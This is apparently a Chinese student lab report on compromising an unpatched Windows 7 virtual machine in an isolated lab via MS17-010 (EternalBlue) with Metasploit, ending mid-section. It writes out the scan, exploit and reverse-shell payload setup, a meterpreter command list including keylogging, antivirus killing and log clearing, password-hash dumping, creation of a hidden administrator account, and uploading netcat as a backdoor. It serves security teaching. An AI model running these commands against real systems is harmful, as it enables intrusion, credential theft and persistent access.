基于MSF框架渗透攻击Win7主机系统的设计与实现
文章目录
- 基于MSF框架渗透攻击Win7主机系统的设计与实现
- [Warning] 写在前面
- 1. 实验要求
- 2. 实验环境搭建
- 2.1 攻击机(Linux kali)的下载与安装
- 2.2 靶机(Windows 7 Enterprise with Service Pack 1 (x64))的下载与安装
- 2.3 实验网络环境配置
- 2.3.1 配置kali的网络配置
- 2.3.2 配置Windows7 Enterprise SP1的网络配置
- 2.3.3 查看靶机和攻击机之间的网络连通情况
- 3. 渗透提权阶段
- 3.1 实验条件准备
- 3.2 开始渗透提权
- 3.2.1 端口扫描与主机发现
- 3.2.2 进入MSF框架
- 3.2.3 使用MS17-010扫描模块(3号工具)对靶机进行扫描
- 3.2.4 使用MS17-010攻击模块(0号工具)对靶机进行提权
- 3.3 后渗透操作
- 3.3.1 一些提权和非实验要求的后渗透尝试
- 3.3.1.1 尝试使用`getsystem`实现提权操作
- 3.3.1.2 使用`sysinfo`查看系统信息
- 3.3.1.3 尝试使用`ipconfig`命令查看网络配置
- 3.3.1.4 使用`getuid`查看我们当前所获得的权限
- 3.3.1.5 使用`shell`获得shell控制台
- 3.3.1.6 使用`exit`从shell控制台退出到meterpreter
- 3.3.1.7 使用screenshot获取屏幕快照
- 3.3.1.8 获取用户密码
- 3.3.2 正式的后渗透操作
- 3.3.2.1 创建用户
- 3.3.2.2 开启远程桌面并成功登录接管靶机桌面
- 3.3.2.3 弹出信息框
- 3.3.2.4 上传和执行可执行文件
- 4. 其他尝试
- 4.1 解决拿到shell后的乱码问题
- 4.2 监控桌面行为
- 4.3 清除渗透痕迹
- 5. 反渗透反思
- 6. 参考文献
[Warning] 写在前面
- 网络安全无小事,本文章仅供网络安全相关专业的同学进行渗透测试相关的实验学习参考使用,请大家遵守网络安全的相关要求,不要使用网络安全相关的渗透工具对真实世界的用户群体进行包括网络渗透在内的任意网络攻击行为!
1. 实验要求
- 本实验要求同学能够基于MSF框架设计与实现对Win7主机系统的渗透攻击。
- 本实验要求同学在两台机子(攻击机和靶机之间)可以相互ping通,并且靶机(无补丁)开启了445端口,防火墙是关闭的实验条件下,基于MS17-010漏洞,使用MS17-010攻击模块,对靶机成功入侵,实现对靶机的最高权限提权,使得我们可以远程在靶机上进行远程代码的执行,得到靶机shell,通过shell对靶机进行控制,进行创建用户,开启远程桌面并成功登录接管靶机桌面,弹出信息框,运行游戏脚本等操作。
- 以下是一些对攻击机和靶机的详细要求:
(1) 攻击机:Linux kali(IP:192.168.99.110)
(2) 靶机:Windows 7 Enterprise with Service Pack 1 (x64)(IP:192.168.99.119)
2. 实验环境搭建
- 【小白需知】
- 在下载这两个系统软件之前我们需要下载一个能够在自己的物理设备上运行这两个下载好的这两个系统软件的工具,这时候就需要下载VMware Workstation
- 详细的安装过程请参考以下博客:VMware Workstation的下载和安装
- 在进行实验之前,我们首先要先下载好指定的系统工具,我们需要下载kali攻击机;同时我们也需要下载无补丁版本的靶机Windows 7 Enterprise with Service Pack 1 (x64)(其中Enterprise表示该版本为企业版,x64表示该系统支持64位的机器)
- 下载完系统软件之后,我们需要将他们安装到我们本地的桌面虚拟计算机软件——VMware Workstation上,并按照给定的要求进行网络环境的配置,确保这两台虚拟设备能够相互进行网络通信。
2.1 攻击机(Linux kali)的下载与安装
-
去kali的官网选择 【Download】
由于我们本次实验是在我们个人的主机上进行安装,所以我们选择安装在虚拟机上。
-
在虚拟机上进行安装我们需要的操作系统的方式有很多种,可以选择使用ISO镜像文件来自定义安装;也可以选择安装预安装好的系统,这里本着创造一个更好复现的报告的初衷我们选择下载预安装的安装包来解压的形式,选择该方法的原因是kali官网提供了这种方式,也就说明对于其它打算复现该项目的同学,按照我们的方案,他的可复现性就会更稳定。
由于我们所使用的虚拟桌面软件是VMware Workstation所以我们选择下图中红框所框出的版本
-
【小白需知】
-
当你下载完成之后,你会得到一个压缩包形式的文件,如果你以前没有接触过压缩包文件不知道如何解压缩的话,那这里我们推荐一款功能强大方便好用的压缩与解压缩工具Breezip
-
下载完毕之后,使用计算机上的解压工具将下载的安装包解压
-
打开VMware Workstation,选择打开虚拟机,然后从我们刚才下载好的kali的压缩包,并且解压好的路径中找到后缀为vmx的文件,选择打开,我们就可以得到一个kali虚拟机
-
打开后我们就可以看到这样的一个界面,在这个界面中我们可以看到这个设备的基本配置,同时也可以在官方已经给定的描述中看到当前的这台虚拟设备它的用户名和密码。
-
点击开启此虚拟机,等待它进入到系统的登录界面,我们输入用户名kali和密码kali就可以进入当前系统**(自2020.1版本之后kali提供的虚拟机就是非root用户的策略,所以这里我们使用的是它提供的标准用户kali而不是root,登入进去后再修改即可)**
-
使用
su
切换用户为root
用户,再使用passwd
命令修改root用户的登录密码。
2.2 靶机(Windows 7 Enterprise with Service Pack 1 (x64))的下载与安装
- 关于Windows 7 Enterprise with Service Pack 1 (x64)的下载,搜集各种网站上的资源,能找到的所有下载相关的资源都是和迅雷之类的P2P类型的下载工具相关的,所以在下载Win7 SP1之前我们需要先安装迅雷。
- 迅雷可以在各大软件应用商店找到,可以直接在自己电脑预装的系统的应用商店搜索安装即可,下面展示在联想的应用商店的下载安装图示
- 下载好迅雷之后,我们就可以在这个网站进行Win7 SP1系统软件的下载了
- 下载完成之后我们会得到一个ISO镜像文件
- 然后我们进入VMware Workstation进行新虚拟机的新建
- 然后一路Next直到让你选择ISO光盘镜像文件的这一步,选择我们刚下载的ISO文件进行安装
- 激活Windows产品需要产品密钥,可以直接去网站上查找可用的密钥 (对学习而言),仅供学习使用。
这里需要设置以下我们Windows的全名大家设置自己喜欢的即可,但是推荐使用英文。
- 然后需要选择我们的机器的存放位置,这里推荐放在D盘,大家可以选择自己合适的存放位置即可。
- 因为此处我们仅使用该机器作为靶机使用,所以处理器的个数和处理器内核的个数都可以最小化。
- 同理,内存设置为2G即可。
- 网络类型我们选择NAT模式。
- 选择I/O控制器的类型,这里按推荐的来选择即可。
- 同理磁盘的类型我们也按推荐的来选择。
- 选择创建新磁盘
- 由于当前的系统仅作为靶机来使用,所以我们最大的磁盘大小仅设置为20GB
- 指定磁盘文件,按默认的即可。
- 核对信息无误后我们点击完成VMware Workstation就会自动帮我们开始进行系统的安装
- 下面是系统在安装的过程中的一次截图,系统安装的过程可能会多次重启,这个过程是自动的,我们仅需静待系统的安装即可。
- 至此系统完成安装。完成安装之后,我们需要进行一些简单的个性化设置,比如调整显示的分辨率的大小,比如把计算机等图片展示出来,方便我们进一步的操作和使用。
- 如图所示,我们安装的系统符合实验要求的系统版本:
2.3 实验网络环境配置
- 根据实验要求,我们可以了解到实验所要求的靶机和目标机的网络IP如下
(1) 攻击机:Linux kali(IP:192.168.99.110)
(2) 靶机:Windows 7 Enterprise with Service Pack 1 (x64)(IP:192.168.99.119)
- 通过IP我们可以判断,这两台机器处在同一个子网下,于是我们采取这样的网络配置策略:
- 首先为了保证去潜在的可能的虚拟机上公网的需求,我们选择使用NAT的方式来配置攻击机和靶机的网络配置(这是两台虚拟机在安装的时候就选择的默认的网络配置方式)
- 打开VMware Workstation的虚拟网络配置器,将其中的NAT模式所在的子网的网段设置为192.168.99.0
- 将DHCP的地址池设置到不包含实验要求的IP地址,把实验要求的IP地址留给后续我们进行手动IP分配的使用可以使用:
- 另外,需要额外注意NAT设置中的网关的IP的设置不要使用192.168.99.1,因为.1一般要留给真实的主机上面供虚拟机进行NAT配置的8号虚拟网卡来作为该虚拟网卡的IP地址,如果这两个IP冲突的话,会导致一些不必要的异常情况。
- 配置真实主机上8号虚拟网卡的IP地址
2.3.1 配置kali的网络配置
- 启动kali的命令行,使用
ifconfig
命令查看kali当前的网络配置情况
【补充设置】
由于kali在2020.1版本之后就不再提供root,而是提供标准用户kali但是我们实际在做很多操作的时候,都需要root级别的权限才能方便我们对系统进行配置,所以这里进行了用户切换和root用户的密码的更改:
使用sudo su命令进行强制的用户切换,输入kali用户的密码后,使用passwd root命令进行root用户的密码修改,目前修改如下:Username:root/ Password root
后续将都使用root用户进行登录
- 使用静态配置的方式来配置kali的IP为实验要求的网络IP
vim /etc/network/interfaces
- 注: 进入文件按i进入编辑模式,编辑完成后按esc退出编辑模式,然后按:wq保存退出才生效
auto eth0
iface eth0 inet static
address 192.168.99.110
netmask 255.255.255.0
gateway 192.168.99.2
- 在配置完后使用
reboot
命令重新启动kali
- 重启后我们再次使用ifconfig命令来查看kali的网络信息就可以发现,此时的网络信息已经修改完成
2.3.2 配置Windows7 Enterprise SP1的网络配置
- 首先我们打开cmd命令行工具,使用ipconfig工具查看当前的Win7主机的网络配置情况
- 打开Win7中的网络和共享中心,点击更改适配器信息
- 选中本地网络,右键选择属性进入网络信息的配置界面,按照实验要求**(IP:192.168.99.119)和我们前面设置的网关地址(192.168.99.2)**来配置好此处的网络设置。
- 使用
ipconfig
来测试网络配置是否更新成功
2.3.3 查看靶机和攻击机之间的网络连通情况
- 此处在Win7上成功Ping通自身、攻击机kali和自身的网关。
- 第一次尝试使用kali来pingWin7,ping失败,想到前面使用Win7pingkali可以成功,于是我猜测问题可能出现在Win7这边,这边可能开了防火墙,导致kali无法ping通Win7,而反之则成立。
- 进入Win7并关闭防火墙
- 再次在kali上尝试pingWin7
- 至此网络配置已经完全结束,kali和Win7实现互联互通。
3. 渗透提权阶段
3.1 实验条件准备
- 在网络环境搭建中已经完成了攻击和靶机的IP地址的设置并且使得两台设备相互之前可以ping通,所以这里关于这一部分就不再赘述。
- 确保Win7主机开启了445端口
使用netstat -ano | findstr 445
查找Win7主机是否开启了445端口
其中各个参数表示的含义如下
- -a:显示所有连接和侦听端口。
- -n:以数字形式显示地址和端口号,而不进行反向域名解析。
- -o:显示拥有者 PID。
| 为管道符号,相当于一个过滤器,把左边的命令的结果作为右边的命令的输入
findstr 查找字符串子串,这里是用来过滤带有445字样的数据,从而实现对445端口的精准查找
- 确保Win7主机关闭了防火墙
- 需从控制面板进入系统安全在进入Windows防火墙,从打开或关闭Windows防火墙中将Win7的防火墙关闭。
3.2 开始渗透提权
3.2.1 端口扫描与主机发现
- 首先使用nmap进行ip端口扫描,查看目标主机是否开放了445端口
nmap -T4 -A -v 192.168.99.119 | grep "445"
- 如图所示,靶机确实开放了445号端口,这说明我们确实存在使用ms17-010漏洞进行渗透提权的可能性。
【解释】
这条命令的含义如下:
- nmap -T4 -A -v 192.168.203.119:
这部分命令使用 nmap 工具对 IP 地址为 192.168.203.119 的主机进行扫描。具体参数含义如下:
-T4:指定扫描速度为快速(T4),这意味着扫描将以较高的速度进行。
- -A:启用操作系统检测、版本检测、脚本扫描和跟踪路由等功能。
- -v:启用详细的输出模式,显示更多的扫描信息。
- |:这是管道符,它将 nmap 命令的输出传递给下一个命令,即 grep。
- grep “445”:这部分命令使用 grep 工来过滤 nmap 命令的输出,只显示包含字符串 “445” 的行。在这种情况下,它将显示与端口 445 相关的信息,例如是否开放或关闭等。
因此,整个命令的含义是对指定 IP 地址的主机进行快速扫描,并显示与端口 445 相关的信息。
3.2.2 进入MSF框架
- 使用
msfconsole
命令启动我们渗透操作的利器MSF框架
- MSF框架每次启动的出场动画都不一样,狠狠有网络黑客的风格爱了~
- 因为我们本次渗透使用的是ms17-010漏洞,所以这里我们使用
search ms17-010
来搜索ms17-010漏洞。
【解释】
这些工具是 Metasploit 框架中的模块,用于利用 Windows SMB 协议中的 MS17-010 漏洞。以下是每个工具的解释:
0. exploit/windows/smb/ms17_010_eternalblue(永恒之蓝)
- 发布日期:2017-03-14
- 可靠性:average(平均)
- 是否需要用户交互:Yes(需要)
- 描述:这是一个利用模块,用于执行 MS17-010 漏洞(EternalBlue)的攻击,该漏洞是一个远程Windows内核池损坏漏洞。它可以用来在目标系统上执行任意代码。
1. exploit/windows/smb/ms17_010_psexec
- 发布日期:2017-03-14
- 可靠性:normal(正常)
- 是否需要用户交互:Yes(需要)
- 描述:这个模块利用 MS17-010 漏洞的变种 EternalRomance、EternalSynergy 和 EternalChampion,用于在远程Windows系统上执行代码。它模仿了 Windows 的 psexec 工具的行为。
2. auxiliary/admin/smb/ms17_010_command
- 发布日期:2017-03-14
- 可靠性:normal(正常)
- 是否需要用户交互:No(不需要)
- 描述:这是一个辅助模块,用于通过 MS17-010 漏洞(EternalRomance、EternalSynergy 和 EternalChampion)在远程Windows系统上执行命令。
3. auxiliary/scanner/smb/smb_ms17_010
- 可靠性:normal(正常)
- 是否需要用户交互:No(不需要)
- 描述:这是一个扫描器模块,用于检测目标系统是否易受 MS17-010 漏洞的影响,即 SMB RCE(远程代码执行)漏洞。
4. exploit/windows/smb/smb_doublepulsar_rce
- 发布日期:2017-04-14
- 可靠性:great(高)
- 是否需要用户交互:Yes(需要)
- 描述:这个模块利用 DOUBLEPULSAR 后门,该后门是通过 EternalBlue 漏洞传播的。如果系统已经被 EternalBlue 漏洞感染并植入了 DOUBLEPULSAR 后门,这个模块可以用来在受影响的系统上执行远程代码。
- 这些工具的可靠性等级(如 average、normal、great)指的是利用成功的可预测性和稳定性。用户交互(Yes 或 No)指的是是否需要用户在攻击过程中进行交互。这些工具都是针对同一漏洞的不同利用方式或检测手段。
我们本次渗透复现中主要使用到0号和3号工具。
3 auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在ms17-010漏洞。
0 exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般两者配合使用,前者先扫描,若是显示有漏洞,再进行攻击。
3.2.3 使用MS17-010扫描模块(3号工具)对靶机进行扫描
- 使用模块,该模块不会直接在攻击机和靶机之间建立访问, 他们只负责执行扫描,嗅探,指纹识别的相关功能,以辅助渗透测试。
use auxiliary/scanner/smb/smb_ms17_010
- 在使用之前我们得先查看一下使用这个工具需要一些什么样的条件,或者说准备条件,使用
show options
命令查看所需准备的条件。
- Required栏中选项为yes的说明对应的Current Setting栏需要填写,如RHOSTS
- 设置攻击目标。
目前所需的option仅剩RHOSTS还没填写。
使用set rhosts 192.168.99.119
命令设置RHOSTS
- 再次查看配置参数:
show options
- 确定所需的参数都已经填写正确,执行扫描!:run
- 结果显示主机可能容易受到 MS17-010 的攻击!
3.2.4 使用MS17-010攻击模块(0号工具)对靶机进行提权
- 用以下命令使用3号工具:
use exploit/windows/smb/ms17_010_eternalblue
- 这里的提示信息指出,我们没有配置攻击载荷的信息,所以默认指定了
reverse_tcp
这个攻击载荷,其实这个载荷也是我们后面实际使用的攻击载荷。
- 【解释】
- reverse_tcp 是一种常见的网络通信术语,特别是在网络安全和渗透测试领域。它指的是一种反向TCP连接,通常用于建立从目标系统到攻击者控制系统的连接。
- 在正常的TCP连接中,客户端发起连接到服务器。而在 reverse_tcp 连接中,服务器(在这种情况下通常是攻击者的监听服务器)等待目标系统(受害者机器)发起连接。这种技术常用于绕过防火墙或NAT设备,因为目标系统主动发起连接到外部监听服务器,而不是外部服务器尝试直接连接到可能受到更严格监控的内部网络。
- 在渗透测试工具**(如 Metasploit)中,reverse_tcp 通常作为有效载荷(payload)的一部分,用于在成功利用漏洞后建立反向shell**。这允许攻击者远程控制系统,执行命令,或者进一步探索网络。
- 我们可以使用
info
查看漏洞的信息,这些信息很长,他们详细介绍了0号工具这个对MS17-010漏洞进行利用的攻击模块的各种重要信息。- 其中第一页的信息包含了这个工具的基本介绍、可以攻击的目标系统等信息,当然可攻击的目标的信息可以使用
show targets
命令来查看。
- 这一页主要包含了0号工具的basic options表,该表应该可以使用
show options
命令来获得。
- 这一页这是对这个0号工具的一些描述信息介绍。
- 使用
show targets
命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统。
- 这里有很多个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。
- 如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)
- 攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。
- 使用
show payloads
命令可以查看当下漏洞利用模块下可用的所有Payload
- 设置攻击载荷
set payload windows/x64/meterpreter/reverse_tcp
- 使用
show options
查看参数信息
- 从上图可以看出,我们还没有设置好攻击的目标(RHOSTS)
设置攻击目标
set rhosts 192.168.99.119
(如果有多个攻击目标ip间直接用空格隔开就行)
- 设置监听主机(kali)[当然从上图也可以知道其实默认就是kali]
set LHOST 192.168.99.110
- 使用
exploit
命令执行攻击
- 至此,已经成功渗透成功,在这里可以进行文件上传下载,获取截屏,获取密码,使用摄像头拍照,后门持久化等操作。
3.3 后渗透操作
- 运行了
exploit
命令之后,我们开启了一个reverse TCP
监听器来监听本地的4444
端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。 - 在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
clearev #清除日志
3.3.1 一些提权和非实验要求的后渗透尝试
3.3.1.1 尝试使用getsystem
实现提权操作
- 系统提示说我们现在其实已经完成了提权了,说明在 渗透成功的一瞬间我们就实现了提权。
- 为了验证,我们使用
pwd
命令查看我们现在所在的路径是在哪里,交互给出的信息是我们在C:\Windows\system32目录下这更进一步说明我们确实提权成功。
3.3.1.2 使用sysinfo
查看系统信息
- 说明我们获取的是Win7靶机的权限。
3.3.1.3 尝试使用ipconfig
命令查看网络配置
- 我们可以清晰得看到该信息中赫然出现了靶机的IP地址
192.168.99.119
,再次说明我们确实提权成功,我们正在使用的正是靶机的shell。
3.3.1.4 使用getuid
查看我们当前所获得的权限
- 【解释】
- 这个 “Server username: NT AUTHORITY\SYSTEM” 说明了当前正在运行的服务或进程是以系统权限(System)运行的。
- NT AUTHORITY\SYSTEM 是 Windows 系统中的一个内置账户,拥有系统级别的权限,通常用于运行操作系统服务和进程。
- 以 NT AUTHORITY\SYSTEM 身份运行的服务或进程拥有对系统资源的完全访问权限,包括文件、注册表、网络等。这种权限通常被认为是最高级别的权限,因此需要谨慎对待以此身份运行的服务或进程,以防止被恶意利用。
3.3.1.5 使用shell
获得shell控制台
3.3.1.6 使用exit
从shell控制台退出到meterpreter
3.3.1.7 使用screenshot获取屏幕快照
- 到截图路径查看屏幕快照
- 到Win7主机截图供对比
3.3.1.8 获取用户密码
run windows/gather/smart_hashdump
或者 hashdump
-
尝试
hashdump
命令获取用户密码
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
luoqianshi:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: -
使用在线的转码平台解析获取到哈希值成为可以理解的密码,解析的结果为空密码和我在安装Win7系统的时候的设定是一致的。
- 【解释】
- 这些看起来像是从 Windows 系统的 SAM (Security Accounts Manager) 数据库中提取的用户账户信息。SAM 数据库存储了本地用户账户的密码哈希值。这些信息通常用于安全分析或密码恢复。
每一行代表一个用户账户的信息,格式通常如下:
用户名:用户ID:LM哈希:NTLM哈希:::
1. Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- 用户名:Administrator
- 用户ID:500(Windows系统中的默认管理员账户ID)
- LM哈希:aad3b435b51404eeaad3b435b51404ee(一个已知的空密码的LM哈希值)
- NTLM哈希:31d6cfe0d16ae931b73c59d7e0c089c0(一个已知的空密码的NTLM哈希值)
2. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- 用户名:Guest
- 用户ID:501(Windows系统中的默认访客账户ID)
- LM哈希:aad3b435b51404eeaad3b435b51404ee(同上)
- NTLM哈希:31d6cfe0d16ae931b73c59d7e0c089c0(同上)
3. luoqianshi:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- 用户名:luoqianshi
- 用户ID:1000(通常是第一个创建的非系统账户的ID)
- LM哈希:aad3b435b51404eeaad3b435b51404ee(同上)
- NTLM哈希:31d6cfe0d16ae931b73c59d7e0c089c0(同上)
- 在这些例子中,LM和NTLM哈希值都表示没有设置密码。LM哈希是较旧的密码哈希算法,而NTLM哈希是较新的算法,两者都用于Windows身份验证。这些哈希值通常用于密码破解尝试,以恢复或破解用户的密码。
- LM哈希(LAN Manager hash)是一种在早期Windows网络中用于存储用户密码的哈希函数。由于其设计上的缺陷,它被认为是不安全的,已经在现代Windows系统中被淘汰。
LM哈希的主要缺点包括:
- 不区分大小写:在进行哈希之前,所有密码都转换为大写,这减少了密码的复杂性。
- 固定长度:LM哈希将密码截断或填充至14个字符,进一步降低了密码的复杂性。
- 分割处理:14个字符的密码被分成两个7字符的块,每块单独哈希,这使得对每个块的破解更加容易。
- 弱加密算法:使用的DES算法容易受到暴力破解攻击。
因为这些缺陷,LM哈希很容易被破解,现代Windows系统默认不再使用LM哈希,而是使用更安全的NTLM哈希。
- NTLM(NT LAN Manager)是一种在 Windows 网络环境中使用的身份验证协议。它最初是为了在局域网环境中提供身份验证和会话安全而设计的。NTLM 协议通过挑战-响应机制来验证用户的身份,并在用户和服务器之间建立安全的会话。
- NTLM 协议的工作流程包括三个主要步骤:
- 客户端向服务器发送身份验证请求。
- 服务器生成一个随机数(挑战)发送给客户端。
- 客户端使用用户的凭据和挑战生成一个响应,并发送给服务器进行验证。
- 尽管 NTLM 协议在过去被广泛使用,但它已经被更安全的协议如 Kerberos 和 NTLMv2 所取代。NTLM 协议存在一些安全性方面的缺陷,包括容易受到中间人攻击和密码哈希被盗取的风险。
- 总的来说,尽管 NTLM 协议在某些环境中仍在使用,但出于安全考虑,推荐使用更现代和安全的身份验证协议。
3.3.2 正式的后渗透操作
- 本课程设计要求我们在利用MS17-010漏洞成功渗透入Win7系统后,获取shell后要进行包括创建用户,开启远程桌面并成功登录接管靶机桌面,弹出信息框和运行游戏脚本这四项指定的后渗透阶段的操作,接下来我将逐一演示。
3.3.2.1 创建用户
- 进入shell控制台:
shell
- 在目标主机上创建一个名为
hack
的用户,密码为hello_world
net user hack hello_world /add
- 将
hack
用户加入到windows 7的本地管理员组中,实现权限提升
net localgroup administrators hack /add
- 查看本地用户:
net user
- 查看本地管理员:
net localgroup administrators
- 从上图可以知,我们新创建的hack用户已经加入到了管理员组中了。
- 打开Win7中一看,我们确实也发现,在计算机的管理中可以看到hack赫然出现在管理组组中:
3.3.2.2 开启远程桌面并成功登录接管靶机桌面
- 使用以下的命令或者脚本开启远程桌面
run getgui -e (已废弃)
- 尝试开始远程桌面-1(失败)
run post/windows/manage/enable_rdp
-
在kali终端输入以下命令实现开始远程桌面:(以下是没有注意到应该在kali终端下执行远程桌面的错误尝试)
rdesktop 192.168.99.119 #靶机ip地址
-
说明我的kali可能 没有安装rdesktop这个工具 (不是这个问题)
-
尝试先退出渗透工作,先安装工具
sudo apt update
sudo apt install rdesktop
-
但是这里又显示我的kali已经完成了对rdesktop工具的安装了,说明不是这个问题。
-
【以下是正解!】
-
仔细查找资料之后发现,执行远程桌面操作的命令不应该在渗透的shell下执行,而应该在kali的终端下执行才是合理的!
-
回到kali终端下进行远程桌面连接(成功)
-
使用我们创建的
hack
用户登录
-
远程桌面登录成功接管靶机桌面
3.3.2.3 弹出信息框
- 方法一,使用vbs脚本
- 可以使用以下命令启动一个弹框
echo X=Msgbox("lkh has got the shell",64,FormatDateTime(Now, vbLongDate)) >> /Test.vbs && start C:\Test.vbs
- 以下是kali视角:
- kali在提权后用vbs写弹框脚本并执行
- Win7上收到了消息
- 点击查看消息
- Win7上成功弹出vbs信息框
【命令解释】
echo X=Msgbox("lkh has got the shell",64,FormatDateTime(Now, vbLongDate)) >> /Test.vbs && start C:\Test.vbs
这个命令是一个Windows命令提示符(cmd)命令,它执行了两个操作:
1.echo X=Msgbox(“lkh has got the shell”,64,FormatDateTime(Now, vbLongDate)) >> /Test.vbs: 这部分命令使用 echo 命令将一行文本写入一个名为 Test.vbs 的文件。这行文本是一个VBScript代码,它会在弹出一个消息框,显示 “lkh has got the shell” 文本,并且消息框的样式是信息图标,标题是当前的日期。
- X=Msgbox(“lkh has got the shell”,64,FormatDateTime(Now, vbLongDate)):这是 VBScript 代码,它定义了一个变量 X,并将其设置为 Msgbox 函数的返回值。
- Msgbox 是一个函数,用于在用户界面显示一个消息框。
- “lkh has got the shell” 是消息框中显示的文本。
- 64 是一个参数,定义了消息框的样式和图标。在这种情况下,64 表示消息框将显示一个信息图标。
- FormatDateTime(Now, vbLongDate) 是一个函数调用,它获取当前的日期和时间(Now),并将其格式化为长日期格式(vbLongDate)。这将作为消息框的标题。
2. && start C:\Test.vbs: 这部分命令使用 && 运算符,它表示在前一个命令成功执行后才执行下一个命令。在这里,如果第一个命令成功地将VBScript代码写入 Test.vbs 文件,那么接下来的命令 start C:\Test.vbs 将会启动 Test.vbs 脚本,从而弹出消息框。
总的来说,这个命令的目的是创建一个VBScript文件,然后立即运行这个文件,以弹出一个消息框显示特定的文本和当前的日期。
- 方法二,使用js脚本
echo var shell = new ActiveXObject("WScript.Shell"); shell.Popup("Hello, World!", 0, "Title", 0); > info.js && cscript info.js
- kali在提权后用js写弹框脚本并执行
- Win7上再次收到了消息
- 再次点击查看消息
【代码解释】
echo var shell = new ActiveXObject("WScript.Shell"); shell.Popup("Hello, World!", 0, "Title", 0); > info.js && cscript info.js
这段命令是一个Windows命令提示符(cmd)命令,它执行了两个操作:
1.echo var shell = new ActiveXObject(“WScript.Shell”); shell.Popup(“Hello, World!”, 0, “Title”, 0); > info.js: 这部分命令使用 echo 命令将一行文本写入一个名为 info.js 的文件。这行文本是一个JavaScript代码,它会在弹出一个消息框,显示 “Hello, World!” 文本,标题为 “Title”。
- var shell = new ActiveXObject(“WScript.Shell”);:这是创建一个名为 shell 的变量,并使用 ActiveXObject 对象来实例化 WScript.Shell。WScript.Shell 对象允许你执行系统命令、读写注册表、创建快捷方式等操作。
- shell.Popup(“Hello, World!”, 0, “Title”, 0);:这是调用 WScript.Shell 对象的 Popup 方法,它会在屏幕上弹出一个消息框。具体来说,它会显示 “Hello, World!” 文本,标题为 “Title”,样式为普通信息框
2. && cscript info.js: 这部分命令使用 && 运算符,它表示在前一个命令成功执行后才执行下一个命令。在这里,如果第一个命令成功地将JavaScript代码写入 info.js 文件,那么接下来的命令 cscript info.js 将会运行 info.js 脚本,从而弹出消息框。
总的来说,这个命令的目的是创建一个JavaScript文件,然后立即运行这个文件,以弹出一个消息框显示特定的文本和标题。
- 两种不同的方法的一些细节上的区别
echo X=Msgbox("lkh has got the shell",64,FormatDateTime(Now, vbLongDate)) >> /Test.vbs && start C:\Test.vbs
echo var shell = new ActiveXObject("WScript.Shell"); shell.Popup("Hello, World!", 0, "Title", 0); > info.js && cscript info.js
- 首先,他们之间必然存在了vbs脚本和js脚本之间的潜在实现方式的区别,但是,除了这一部分之外,其实还潜藏着一些有趣的区别。
- 一、vbs中使用的路径是带“/”号的,所以生成的文件会出现在靶机的系统文件夹下,而js的则不会,这样就更为隐蔽。
- 二、> 用于创建或覆盖文件,而 >> 用于追加内容到文件末尾,所以如果多次执行vbs脚本,Text.vbs脚本的文件中会出现多条vbs弹窗的命令。
3.3.2.4 上传和执行可执行文件
-
题目的原意是让我们上传并且运行一个游戏脚本,但是我转念一想,游戏脚本的含义得建立在针对游戏的基础上才有意义,而显然,崭新的靶机并没有什么太有价值的游戏值得使用脚本,所以我对这个实验要求进行了进一步的抽象,所谓【运行游戏脚本】,那本质其实就是首先攻击机要有一个脚本,然后攻击机可以把准备好的脚本上传到靶机上去,并且最终实现成功在靶机上运行这个脚本的目的。
-
可转念一想,如果只是在靶机上运行脚本的话,其实我们的上一步使得靶机可以弹出消息框的操作中,使用的正是vbs脚本和js脚本了,某种意义上也算是成功地在靶机上完成了脚本文件的注入和运行了,那实验不就到此结束了吗?不,我不想结束。
-
仔细回顾了我们本次实验的目的和一路走来在web安全的那些基础的实验中所进行的渗透或者注入操作,其中都有上传木马,建立后门使得我们能够使用进一步掌握靶机权限的步骤,所以最后我决定,那我们就致敬经典,尝试把Windows靶机的木马文件上传上去试试,给自己留一条更稳定的后门。
-
在kali的 /usr/share/windows-binaries/ 路径下有我们的后门程序 nc俗称瑞士军刀 ,我们可以将它上传到目标机c盘上面。
-
使用
upload /usr/share/windows-binaries/nc.exe C:\\Windows
命令上传nc瑞士军刀。
-
不过要能够正常且安全地使用我们的后门软件,我们还需要做一些隐蔽的操作,我们得先关闭主机的防护策略再开启后门。
-
关闭主机的防护策略
-
使用
hashdump
命令查看用户和密码
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
